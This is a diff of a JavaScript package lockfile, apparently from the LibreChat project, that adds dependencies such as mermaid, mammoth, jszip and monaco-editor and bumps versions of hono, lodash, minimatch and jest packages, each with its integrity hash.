     "hamt_plus": ["hamt_plus@1.0.2", "", {}, "sha512-t2JXKaehnMb9paaYA7J0BX8QQAY8lwfQ9Gjf4pg/mk4krt+cmwmU652HOoWonf+7+EQV97ARPMhhVgU1ra2GhA=="],
 
     "handlebars": ["handlebars@4.7.8", "", { "dependencies": { "minimist": "^1.2.5", "neo-async": "^2.6.2", "source-map": "^0.6.1", "wordwrap": "^1.0.0" }, "optionalDependencies": { "uglify-js": "^3.1.4" }, "bin": "bin/handlebars" }, "sha512-vafaFqs8MZkRrSX7sFVUdo3ap/eNiLnb4IakshzvP56X5Nr1iGKAIqdX6tMlm6HcNRIkr6AxO5jFEoJzzpT8aQ=="],
 
+    "happy-dom": ["happy-dom@20.8.3", "", { "dependencies": { "@types/node": ">=20.0.0", "@types/whatwg-mimetype": "^3.0.2", "@types/ws": "^8.18.1", "entities": "^7.0.1", "whatwg-mimetype": "^3.0.0", "ws": "^8.18.3" } }, "sha512-lMHQRRwIPyJ70HV0kkFT7jH/gXzSI7yDkQFe07E2flwmNDFoWUTRMKpW2sglsnpeA7b6S2TJPp98EbQxai8eaQ=="],
+
     "harmony-reflect": ["harmony-reflect@1.6.2", "", {}, "sha512-HIp/n38R9kQjDEziXyDTuW3vvoxxyxjxFzXLrBr18uB47GnSt+G9D29fqrpM5ZkspMcPICud3XsBJQ4Y2URg8g=="],
 
     "has-bigints": ["has-bigints@1.0.2", "", {}, "sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ=="],
@@ -2973,7 +3203,7 @@
 
     "hoist-non-react-statics": ["hoist-non-react-statics@3.3.2", "", { "dependencies": { "react-is": "^16.7.0" } }, "sha512-/gGivxi8JPKWNm/W0jSmzcMPpfpPLc3dY/6GxhX2hQ9iGj3aDfklV4ET7NjKpSinLpJ5vafa9iiGIEZg10SfBw=="],
 
-    "hono": ["hono@4.11.1", "", {}, "sha512-KsFcH0xxHes0J4zaQgWbYwmz3UPOOskdqZmItstUG93+Wk1ePBLkLGwbP9zlmh1BFUiL8Qp+Xfu9P7feJWpGNg=="],
+    "hono": ["hono@4.12.5", "", {}, "sha512-3qq+FUBtlTHhtYxbxheZgY8NIFnkkC/MR8u5TTsr7YZ3wixryQ3cCwn3iZbg8p8B88iDBBAYSfZDS75t8MN7Vg=="],
 
     "hookified": ["hookified@1.12.1", "", {}, "sha512-xnKGl+iMIlhrZmGHB729MqlmPoWBznctSQTYCpFKqNsCgimJQmithcW0xSQMMFzYnV2iKUh25alswn6epgxS0Q=="],
 
@@ -3025,6 +3255,8 @@
 
     "ignore-by-default": ["ignore-by-default@1.0.1", "", {}, "sha512-Ius2VYcGNk7T90CppJqcIkS5ooHUZyIQK+ClZfMfMNFEF9VSE73Fq+906u/CWu92x4gzZMWOwfFYckPObzdEbA=="],
 
+    "immediate": ["immediate@3.0.6", "", {}, "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ=="],
+
     "import-cwd": ["import-cwd@3.0.0", "", { "dependencies": { "import-from": "^3.0.0" } }, "sha512-4pnzH16plW+hgvRECbDWpQl3cqtvSofHWh44met7ESfZ8UZOWWddm8hEyDTqREJ9RbYHY8gi8DqmaelApoOGMg=="],
 
     "import-fresh": ["import-fresh@3.3.0", "", { "dependencies": { "parent-module": "^1.0.0", "resolve-from": "^4.0.0" } }, "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw=="],
@@ -3049,11 +3281,13 @@
 
     "internal-slot": ["internal-slot@1.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "hasown": "^2.0.2", "side-channel": "^1.1.0" } }, "sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw=="],
 
+    "internmap": ["internmap@2.0.3", "", {}, "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg=="],
+
     "intersection-observer": ["intersection-observer@0.10.0", "", {}, "sha512-fn4bQ0Xq8FTej09YC/jqKZwtijpvARlRp6wxL5WTA6yPe2YWSJ5RJh7Nm79rK2qB0wr6iDQzH60XGq5V/7u8YQ=="],
 
     "ioredis": ["ioredis@5.3.2", "", { "dependencies": { "@ioredis/commands": "^1.1.1", "cluster-key-slot": "^1.1.0", "debug": "^4.3.4", "denque": "^2.1.0", "lodash.defaults": "^4.2.0", "lodash.isarguments": "^3.1.0", "redis-errors": "^1.2.0", "redis-parser": "^3.0.0", "standard-as-callback": "^2.1.0" } }, "sha512-1DKMMzlIHM02eBBVOFQ1+AolGjs6+xEcM4PDL7NqOS6szq7H9jSaEkIUH6/a5Hl241LzW6JLSiAbNvTQjUupUA=="],
 
-    "ip-address": ["ip-address@10.0.1", "", {}, "sha512-NWv9YLW4PoW2B7xtzaS3NCot75m6nK7Icdv0o3lfMceJVRfSoQwqD4wEH5rLwoKJwUiZ/rfpiVBhnaF0FK4HoA=="],
+    "ip-address": ["ip-address@10.1.0", "", {}, "sha512-XXADHxXmvT9+CRxhXg56LJovE+bmWnEWB78LB83VZTprKTmaC5QfruXocxzTZ2Kl0DNwKuBdlIhjL8LeY8Sf8Q=="],
 
     "ipaddr.js": ["ipaddr.js@1.9.1", "", {}, "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g=="],
 
@@ -3215,7 +3449,7 @@
 
     "jest-message-util": ["jest-message-util@30.2.0", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@jest/types": "30.2.0", "@types/stack-utils": "^2.0.3", "chalk": "^4.1.2", "graceful-fs": "^4.2.11", "micromatch": "^4.0.8", "pretty-format": "30.2.0", "slash": "^3.0.0", "stack-utils": "^2.0.6" } }, "sha512-y4DKFLZ2y6DxTWD4cDe07RglV88ZiNEdlRfGtqahfbIjfsw1nMCPx49Uev4IA/hWn3sDKyAnSPwoYSsAEdcimw=="],
 
-    "jest-mock": ["jest-mock@29.7.0", "", { "dependencies": { "@jest/types": "^29.6.3", "@types/node": "*", "jest-util": "^29.7.0" } }, "sha512-ITOMZn+UkYS4ZFh83xYAOzWStloNzJFO2s8DWrE4lhtGD+AorgnbkiKERe4wQVBydIGPx059g6riW5Btp6Llnw=="],
+    "jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="],
 
     "jest-pnp-resolver": ["jest-pnp-resolver@1.2.3", "", { "peerDependencies": { "jest-resolve": "*" } }, "sha512-+3NpwQEnRoIBtx4fyhblQDPgJI0H1IEIkX7ShLUjPGA7TtUTvI1oiKi3SR4oBR0hQhQR80l4WAe5RrXBwWMA8w=="],
 
@@ -3231,7 +3465,7 @@
 
     "jest-snapshot": ["jest-snapshot@30.2.0", "", { "dependencies": { "@babel/core": "^7.27.4", "@babel/generator": "^7.27.5", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/plugin-syntax-typescript": "^7.27.1", "@babel/types": "^7.27.3", "@jest/expect-utils": "30.2.0", "@jest/get-type": "30.1.0", "@jest/snapshot-utils": "30.2.0", "@jest/transform": "30.2.0", "@jest/types": "30.2.0", "babel-preset-current-node-syntax": "^1.2.0", "chalk": "^4.1.2", "expect": "30.2.0", "graceful-fs": "^4.2.11", "jest-diff": "30.2.0", "jest-matcher-utils": "30.2.0", "jest-message-util": "30.2.0", "jest-util": "30.2.0", "pretty-format": "30.2.0", "semver": "^7.7.2", "synckit": "^0.11.8" } }, "sha512-5WEtTy2jXPFypadKNpbNkZ72puZCa6UjSr/7djeecHWOu7iYhSXSnHScT8wBz3Rn8Ena5d5RYRcsyKIeqG1IyA=="],
 
-    "jest-util": ["jest-util@29.7.0", "", { "dependencies": { "@jest/types": "^29.6.3", "@types/node": "*", "chalk": "^4.0.0", "ci-info": "^3.2.0", "graceful-fs": "^4.2.9", "picomatch": "^2.2.3" } }, "sha512-z6EbKajIpqGKU56y5KBUgy1dt1ihhQJgWzUlZHArA/+X2ad7Cb5iF+AK1EWVL/Bo7Rz9uurpqw6SiBCefUbCGA=="],
+    "jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
 
     "jest-validate": ["jest-validate@30.2.0", "", { "dependencies": { "@jest/get-type": "30.1.0", "@jest/types": "30.2.0", "camelcase": "^6.3.0", "chalk": "^4.1.2", "leven": "^3.1.0", "pretty-format": "30.2.0" } }, "sha512-FBGWi7dP2hpdi8nBoWxSsLvBFewKAg0+uSQwBaof4Y4DPgBabXgpSYC5/lR7VmnIlSpASmCi/ntRWPbv7089Pw=="],
 
@@ -3283,6 +3517,8 @@
 
     "jsx-ast-utils": ["jsx-ast-utils@3.3.5", "", { "dependencies": { "array-includes": "^3.1.6", "array.prototype.flat": "^1.3.1", "object.assign": "^4.1.4", "object.values": "^1.1.6" } }, "sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ=="],
 
+    "jszip": ["jszip@3.10.1", "", { "dependencies": { "lie": "~3.3.0", "pako": "~1.0.2", "readable-stream": "~2.3.6", "setimmediate": "^1.0.5" } }, "sha512-xXDvecyTpGLrqFrvkrUSoxxfJI5AH7U8zxxtVclpsUtMCq4JQ290LY8AW5c7Ggnr/Y/oK+bQMbqK2qmtk3pN4g=="],
+
     "jwa": ["jwa@2.0.0", "", { "dependencies": { "buffer-equal-constant-time": "1.0.1", "ecdsa-sig-formatter": "1.0.11", "safe-buffer": "^5.0.1" } }, "sha512-jrZ2Qx916EA+fq9cEAeCROWPTfCwi1IVHqT2tapuqLEVVDKFDENFw1oL+MwrTvH6msKxsd1YTDVw6uKEcsrLEA=="],
 
     "jwks-rsa": ["jwks-rsa@3.2.0", "", { "dependencies": { "@types/express": "^4.17.20", "@types/jsonwebtoken": "^9.0.4", "debug": "^4.3.4", "jose": "^4.15.4", "limiter": "^1.1.5", "lru-memoizer": "^2.2.0" } }, "sha512-PwchfHcQK/5PSydeKCs1ylNym0w/SSv8a62DgHJ//7x2ZclCoinlsjAfDxAAbpoTPybOum/Jgy+vkvMmKz89Ww=="],
@@ -3297,16 +3533,22 @@
 
     "keyv-file": ["keyv-file@5.2.0", "", { "dependencies": { "@keyv/serialize": "^1.0.1", "tslib": "^1.14.1" } }, "sha512-5JEBqQiDzjGCQHtf7KLReJdHKchaJyUZW+9TvBu+4dc+uuTqUG9KcdA3ICMXlwky3qjKc0ecNCNefbgjyDtlAg=="],
 
+    "khroma": ["khroma@2.1.0", "", {}, "sha512-Ls993zuzfayK269Svk9hzpeGUKob/sIgZzyHYdjQoAdQetRKpOLj+k/QQQ/6Qi0Yz65mlROrfd+Ev+1+7dz9Kw=="],
+
     "klona": ["klona@2.0.6", "", {}, "sha512-dhG34DXATL5hSxJbIexCft8FChFXtmskoZYnoPWjXQuebWYCNkVeV3KkGegCK9CP1oswI/vQibS2GY7Em/sJJA=="],
 
     "kuler": ["kuler@2.0.0", "", {}, "sha512-Xq9nH7KlWZmXAtodXDDRE7vs6DU1gTU8zYDHDiWLSip45Egwq3plLHzPn27NgvzL2r1LMPC1vdqh98sQxtqj4A=="],
 
-    "langsmith": ["langsmith@0.3.67", "", { "dependencies": { "@types/uuid": "^10.0.0", "chalk": "^4.1.2", "console-table-printer": "^2.12.1", "p-queue": "^6.6.2", "p-retry": "4", "semver": "^7.6.3", "uuid": "^10.0.0" }, "peerDependencies": { "@opentelemetry/api": "*", "@opentelemetry/exporter-trace-otlp-proto": "*", "@opentelemetry/sdk-trace-base": "*", "openai": "*" } }, "sha512-l4y3RmJ9yWF5a29fLg3eWZQxn6Q6dxTOgLGgQHzPGZHF3NUynn+A+airYIe/Yt4rwjGbuVrABAPsXBkVu/Hi7g=="],
+    "langium": ["langium@4.2.1", "", { "dependencies": { "chevrotain": "~11.1.1", "chevrotain-allstar": "~0.3.1", "vscode-languageserver": "~9.0.1", "vscode-languageserver-textdocument": "~1.0.11", "vscode-uri": "~3.1.0" } }, "sha512-zu9QWmjpzJcomzdJQAHgDVhLGq5bLosVak1KVa40NzQHXfqr4eAHupvnPOVXEoLkg6Ocefvf/93d//SB7du4YQ=="],
+
+    "langsmith": ["langsmith@0.4.12", "", { "dependencies": { "@types/uuid": "^10.0.0", "chalk": "^4.1.2", "console-table-printer": "^2.12.1", "p-queue": "^6.6.2", "semver": "^7.6.3", "uuid": "^10.0.0" }, "peerDependencies": { "@opentelemetry/api": "*", "@opentelemetry/exporter-trace-otlp-proto": "*", "@opentelemetry/sdk-trace-base": "*", "openai": "*" }, "optionalPeers": ["@opentelemetry/api", "@opentelemetry/exporter-trace-otlp-proto", "@opentelemetry/sdk-trace-base", "openai"] }, "sha512-YWt0jcGvKqjUgIvd78rd4QcdMss0lUkeUaqp0UpVRq7H2yNDx8H5jOUO/laWUmaPtWGgcip0qturykXe1g9Gqw=="],
 
     "language-subtag-registry": ["language-subtag-registry@0.3.23", "", {}, "sha512-0K65Lea881pHotoGEa5gDlMxt3pctLi2RplBb7Ezh4rRdLEOtgi7n4EwK9lamnUCkKBqaeKRVebTq6BAxSkpXQ=="],
 
     "language-tags": ["language-tags@1.0.9", "", { "dependencies": { "language-subtag-registry": "^0.3.20" } }, "sha512-MbjN408fEndfiQXbFQ1vnd+1NoLDsnQW41410oQBXiyXDMYH5z505juWa4KUE1LqxRC7DgOgZDbKLxHIwm27hA=="],
 
+    "layout-base": ["layout-base@1.0.2", "", {}, "sha512-8h2oVEZNktL4BH2JCOI90iD1yXwL6iNW7KcCKT2QZgQJR2vbqDsldCTPRU9NifTCqHZci57XvQQ15YTu+sTYPg=="],
+
     "ldap-filter": ["ldap-filter@0.3.3", "", { "dependencies": { "assert-plus": "^1.0.0" } }, "sha512-/tFkx5WIn4HuO+6w9lsfxq4FN3O+fDZeO9Mek8dCD8rTUpqzRa766BOBO7BcGkn3X86m5+cBm1/2S/Shzz7gMg=="],
 
     "ldapauth-fork": ["ldapauth-fork@5.0.5", "", { "dependencies": { "@types/ldapjs": "^2.2.2", "bcryptjs": "^2.4.0", "ldapjs": "^2.2.1", "lru-cache": "^7.10.1" } }, "sha512-LWUk76+V4AOZbny/3HIPQtGPWZyA3SW2tRhsWIBi9imP22WJktKLHV1ofd8Jo/wY7Ve6vAT7FCI5mEn3blZTjw=="],
@@ -3319,6 +3561,8 @@
 
     "librechat-data-provider": ["librechat-data-provider@workspace:packages/data-provider"],
 
+    "lie": ["lie@3.3.0", "", { "dependencies": { "immediate": "~3.0.5" } }, "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ=="],
+
     "lilconfig": ["lilconfig@3.1.3", "", {}, "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw=="],
 
     "limiter": ["limiter@1.1.5", "", {}, "sha512-FWWMIEOxz3GwUI4Ts/IvgVy6LPvoMPgjMdQ185nN6psJyBJ4yOpzqm695/h5umdLJg2vW3GR5iG11MAkR2AzJA=="],
@@ -3329,13 +3573,13 @@
 
     "listr2": ["listr2@8.2.5", "", { "dependencies": { "cli-truncate": "^4.0.0", "colorette": "^2.0.20", "eventemitter3": "^5.0.1", "log-update": "^6.1.0", "rfdc": "^1.4.1", "wrap-ansi": "^9.0.0" } }, "sha512-iyAZCeyD+c1gPyE9qpFu8af0Y+MRtmKOncdGoA2S5EY8iFq99dmmvkNnHiWo+pj0s7yH7l3KPIgee77tKpXPWQ=="],
 
-    "loader-runner": ["loader-runner@4.3.0", "", {}, "sha512-3R/1M+yS3j5ou80Me59j7F9IMs4PXs3VqRrm0TU3AbKPxlmpoY1TNscJV/oGJXo8qCatFGTfDbY6W6ipGOYXfg=="],
-
     "loader-utils": ["loader-utils@3.3.1", "", {}, "sha512-FMJTLMXfCLMLfJxcX9PFqX5qD88Z5MRGaZCVzfuqeZSPsyiBzs+pahDQjbIWz2QIzPZz0NX9Zy4FX3lmK6YHIg=="],
 
     "locate-path": ["locate-path@6.0.0", "", { "dependencies": { "p-locate": "^5.0.0" } }, "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw=="],
 
-    "lodash": ["lodash@4.17.21", "", {}, "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="],
+    "lodash": ["lodash@4.17.23", "", {}, "sha512-LgVTMpQtIopCi79SJeDiP0TfWi5CNEc/L/aRdTh3yIvmZXTnheWpKjSZhnvMl8iXbC1tFg9gdHHDMLoV7CnG+w=="],
+
+    "lodash-es": ["lodash-es@4.17.23", "", {}, "sha512-kVI48u3PZr38HdYz98UmfPnXl2DXrpdctLrFLCd3kOx1xUkOmpFPx7gCWWM5MPkL/fD8zb+Ph0QzjGFs4+hHWg=="],
 
     "lodash.camelcase": ["lodash.camelcase@4.3.0", "", {}, "sha512-TwuEnCnxbc3rAvhf/LbG7tJUDzhqXyFnv3dtzLOPgCG/hODL7WFnsbwktkD7yUV0RrreP/l1PALq/YSg6VvjlA=="],
 
@@ -3367,8 +3611,6 @@
 
     "lodash.sortby": ["lodash.sortby@4.7.0", "", {}, "sha512-HDWXG8isMntAyRF5vZ7xKuEvOhT4AhlRt/3czTSjvGUxjYCBVRQY48ViDHyfYz9VIoBkW4TMGQNapx+l3RUwdA=="],
 
-    "lodash.throttle": ["lodash.throttle@4.1.1", "", {}, "sha512-wIkUCfVKpVsWo3JSZlc+8MB5it+2AN5W8J7YVMST30UrvcQNZ1Okbj+rbVniijTWE6FGYy4XJq/rHkas8qJMLQ=="],
-
     "lodash.uniq": ["lodash.uniq@4.5.0", "", {}, "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ=="],
 
     "log-update": ["log-update@6.1.0", "", { "dependencies": { "ansi-escapes": "^7.0.0", "cli-cursor": "^5.0.0", "slice-ansi": "^7.1.0", "strip-ansi": "^7.1.0", "wrap-ansi": "^9.0.0" } }, "sha512-9ie8ItPR6tjY5uYJh8K/Zrv/RMZ5VOlOWvtZdEHYSTFKZfIBPQa9tOAEeAWhd+AnIneLJ22w5fjOYtoutpWq5w=="],
@@ -3381,6 +3623,8 @@
 
     "loose-envify": ["loose-envify@1.4.0", "", { "dependencies": { "js-tokens": "^3.0.0 || ^4.0.0" }, "bin": "cli.js" }, "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q=="],
 
+    "lop": ["lop@0.4.2", "", { "dependencies": { "duck": "^0.1.12", "option": "~0.2.1", "underscore": "^1.13.1" } }, "sha512-RefILVDQ4DKoRZsJ4Pj22TxE3omDO47yFpkIBoDKzkqPRISs5U1cnAdg/5583YPkWPaLIYHOKRMQSvjFsO26cw=="],
+
     "lowlight": ["lowlight@2.9.0", "", { "dependencies": { "@types/hast": "^2.0.0", "fault": "^2.0.0", "highlight.js": "~11.8.0" } }, "sha512-OpcaUTCLmHuVuBcyNckKfH5B0oA4JUavb/M/8n9iAvanJYNQkrVm4pvyX0SUaqkBG4dnWHKt7p50B3ngAG2Rfw=="],
 
     "lru-cache": ["lru-cache@4.1.5", "", { "dependencies": { "pseudomap": "^1.0.2", "yallist": "^2.1.2" } }, "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g=="],
@@ -3399,8 +3643,12 @@
 
     "makeerror": ["makeerror@1.0.12", "", { "dependencies": { "tmpl": "1.0.5" } }, "sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg=="],
 
+    "mammoth": ["mammoth@1.11.0", "", { "dependencies": { "@xmldom/xmldom": "^0.8.6", "argparse": "~1.0.3", "base64-js": "^1.5.1", "bluebird": "~3.4.0", "dingbat-to-unicode": "^1.0.1", "jszip": "^3.7.1", "lop": "^0.4.2", "path-is-absolute": "^1.0.0", "underscore": "^1.13.1", "xmlbuilder": "^10.0.0" }, "bin": { "mammoth": "bin/mammoth" } }, "sha512-BcEqqY/BOwIcI1iR5tqyVlqc3KIaMRa4egSoK83YAVrBf6+yqdAAbtUcFDCWX8Zef8/fgNZ6rl4VUv+vVX8ddQ=="],
+
     "markdown-table": ["markdown-table@3.0.4", "", {}, "sha512-wiYz4+JrLyb/DqW2hkFJxP7Vd7JuTDm77fvbM8VfEQdmSMqcImWeeRbHwZjBjIFki/VaMK2BhFi7oUUZeM5bqw=="],
 
+    "marked": ["marked@14.0.0", "", { "bin": { "marked": "bin/marked.js" } }, "sha512-uIj4+faQ+MgHgwUW1l2PsPglZLOLOT1uErt06dAPtx2kjteLAkbsd/0FiYg/MGS+i7ZKLb7w2WClxHkzOOuryQ=="],
+
     "match-sorter": ["match-sorter@8.1.0", "", { "dependencies": { "@babel/runtime": "^7.23.8", "remove-accents": "0.5.0" } }, "sha512-0HX3BHPixkbECX+Vt7nS1vJ6P2twPgGTU3PMXjWrl1eyVCL24tFHeyYN1FN5RKLzve0TyzNI9qntqQGbebnfPQ=="],
 
     "math-intrinsics": ["math-intrinsics@1.1.0", "", {}, "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g=="],
@@ -3459,6 +3707,8 @@
 
     "merge2": ["merge2@1.4.1", "", {}, "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg=="],
 
+    "mermaid": ["mermaid@11.13.0", "", { "dependencies": { "@braintree/sanitize-url": "^7.1.1", "@iconify/utils": "^3.0.2", "@mermaid-js/parser": "^1.0.1", "@types/d3": "^7.4.3", "@upsetjs/venn.js": "^2.0.0", "cytoscape": "^3.33.1", "cytoscape-cose-bilkent": "^4.1.0", "cytoscape-fcose": "^2.2.0", "d3": "^7.9.0", "d3-sankey": "^0.12.3", "dagre-d3-es": "7.0.14", "dayjs": "^1.11.19", "dompurify": "^3.3.1", "katex": "^0.16.25", "khroma": "^2.1.0", "lodash-es": "^4.17.23", "marked": "^16.3.0", "roughjs": "^4.6.6", "stylis": "^4.3.6", "ts-dedent": "^2.2.0", "uuid": "^11.1.0" } }, "sha512-fEnci+Immw6lKMFI8sqzjlATTyjLkRa6axrEgLV2yHTfv8r+h1wjFbV6xeRtd4rUV1cS4EpR9rwp3Rci7TRWDw=="],
+
     "methods": ["methods@1.1.2", "", {}, "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w=="],
 
     "micromark": ["micromark@4.0.0", "", { "dependencies": { "@types/debug": "^4.0.0", "debug": "^4.0.0", "decode-named-character-reference": "^1.0.0", "devlop": "^1.0.0", "micromark-core-commonmark": "^2.0.0", "micromark-factory-space": "^2.0.0", "micromark-util-character": "^2.0.0", "micromark-util-chunked": "^2.0.0", "micromark-util-combine-extensions": "^2.0.0", "micromark-util-decode-numeric-character-reference": "^2.0.0", "micromark-util-encode": "^2.0.0", "micromark-util-normalize-identifier": "^2.0.0", "micromark-util-resolve-all": "^2.0.0", "micromark-util-sanitize-uri": "^2.0.0", "micromark-util-subtokenize": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-o/sd0nMof8kYff+TqcDx3VSrgBTcZpSvYcAHIfHhv5VAuNmisCxjhx6YmxS8PFEpb9z5WKWKPdzf0jM23ro3RQ=="],
@@ -3543,20 +3793,24 @@
 
     "minimalistic-crypto-utils": ["minimalistic-crypto-utils@1.0.1", "", {}, "sha512-JIYlbt6g8i5jKfJ3xz7rF0LXmv2TkDxBLUkiBeZ7bAx4GnnNMr8xFpGnOxn6GhTEHx3SjRrZEoU+j04prX1ktg=="],
 
-    "minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
+    "minimatch": ["minimatch@3.1.5", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w=="],
 
     "minimist": ["minimist@1.2.8", "", {}, "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA=="],
 
-    "minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
+    "minipass": ["minipass@7.1.3", "", {}, "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A=="],
 
     "mkdirp": ["mkdirp@1.0.4", "", { "bin": "bin/cmd.js" }, "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw=="],
 
+    "mlly": ["mlly@1.8.1", "", { "dependencies": { "acorn": "^8.16.0", "pathe": "^2.0.3", "pkg-types": "^1.3.1", "ufo": "^1.6.3" } }, "sha512-SnL6sNutTwRWWR/vcmCYHSADjiEesp5TGQQ0pXyLhW5IoeibRlF/CbSLailbB3CNqJUk9cVJ9dUDnbD7GrcHBQ=="],
+
     "module-alias": ["module-alias@2.2.3", "", {}, "sha512-23g5BFj4zdQL/b6tor7Ji+QY4pEfNH784BMslY9Qb0UnJWRAt+lQGLYmRaM0KDBwIG23ffEBELhZDP2rhi9f/Q=="],
 
     "module-details-from-path": ["module-details-from-path@1.0.4", "", {}, "sha512-EGWKgxALGMgzvxYF1UyGTy0HXX/2vHLkw6+NvDKW2jypWbHpjQuj4UMcqQWXHERJhVGKikolT06G3bcKe4fi7w=="],
 
     "moment": ["moment@2.30.1", "", {}, "sha512-uEmtNhbDOrWPFS+hdjFCBfy9f2YoyzRpwcl+DqpC6taX21FzsTLQVbMV/W7PzNSX6x/bhC1zA3c2UQ5NzH6how=="],
 
+    "monaco-editor": ["monaco-editor@0.55.1", "", { "dependencies": { "dompurify": "3.2.7", "marked": "14.0.0" } }, "sha512-jz4x+TJNFHwHtwuV9vA9rMujcZRb0CEilTEwG2rRSpe/A7Jdkuj8xPKttCgOh+v/lkHy7HsZ64oj+q3xoAFl9A=="],
+
     "mongodb": ["mongodb@6.14.2", "", { "dependencies": { "@mongodb-js/saslprep": "^1.1.9", "bson": "^6.10.3", "mongodb-connection-string-url": "^3.0.0" }, "peerDependencies": { "@aws-sdk/credential-providers": "^3.188.0", "@mongodb-js/zstd": "^1.1.0 || ^2.0.0", "gcp-metadata": "^5.2.0", "kerberos": "^2.0.1", "mongodb-client-encryption": ">=6.0.0 <7", "snappy": "^7.2.2", "socks": "^2.7.1" }, "optionalPeers": ["@mongodb-js/zstd", "kerberos", "mongodb-client-encryption", "snappy", "socks"] }, "sha512-kMEHNo0F3P6QKDq17zcDuPeaywK/YaJVCEQRzPF3TOM/Bl9MFg64YE5Tu7ifj37qZJMhwU1tl2Ioivws5gRG5Q=="],
 
     "mongodb-connection-string-url": ["mongodb-connection-string-url@3.0.2", "", { "dependencies": { "@types/whatwg-url": "^11.0.2", "whatwg-url": "^14.1.0 || ^13.0.0" } }, "sha512-rMO7CGo/9BFwyZABcKAWL8UJwH/Kc2x0g72uhDWzG48URRax5TCIcJ7Rc3RZqffZzO/Gwff/jyKwCU9TN8gehA=="],
@@ -3579,7 +3833,7 @@
 
     "ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="],
 
